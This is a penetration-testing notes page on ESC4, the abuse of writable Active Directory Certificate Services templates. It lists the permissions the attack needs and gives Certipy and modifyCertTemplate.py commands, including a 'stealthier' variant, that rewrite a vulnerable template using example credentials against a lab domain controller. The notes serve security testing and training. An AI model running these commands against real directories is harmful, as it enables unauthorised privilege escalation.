> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse/esc4.md).

# ESC4

* <https://github.com/cfalta/PoshADCS>

| Right           | Description                                                    |
| --------------- | -------------------------------------------------------------- |
| `Owner`         | Implicit full control of the object, can edit any properties.  |
| `FullControl`   | Full control of the object, can edit any properties.           |
| `WriteOwner`    | Can modify the owner to an adversary-controlled principal.     |
| `WriteDacl`     | Can modify access control to grant an adversary `FullControl`. |
| `WriteProperty` | Can edit any properties.                                       |

## Enumerate and Modify Templates

* <https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4>
* <https://github.com/fortalice/modifyCertTemplate>

Automatically via [Certipy](https://github.com/ly4k/Certipy):

```
$ certipy template -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -save-old -dc-ip 192.168.1.11
$ certipy template -u snovvcrash@megacorp.local -p 'Passw0rd!' -target DC01.megacorp.local -template VulnTemplate -configuration VulnTemplate.json -dc-ip 192.168.1.11
```

A stealthier approach is to dump all properties of the vulnerable cert and modify only the needed parts in Certipy's [code](https://github.com/ly4k/Certipy/blob/8e6ac363ddffa81452c41a5162c1107df8934876/certipy/commands/template.py#L35-L53):

```
$ python3 modifyCertTemplate.py -template VulnTemplate -raw megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 192.168.1.11
```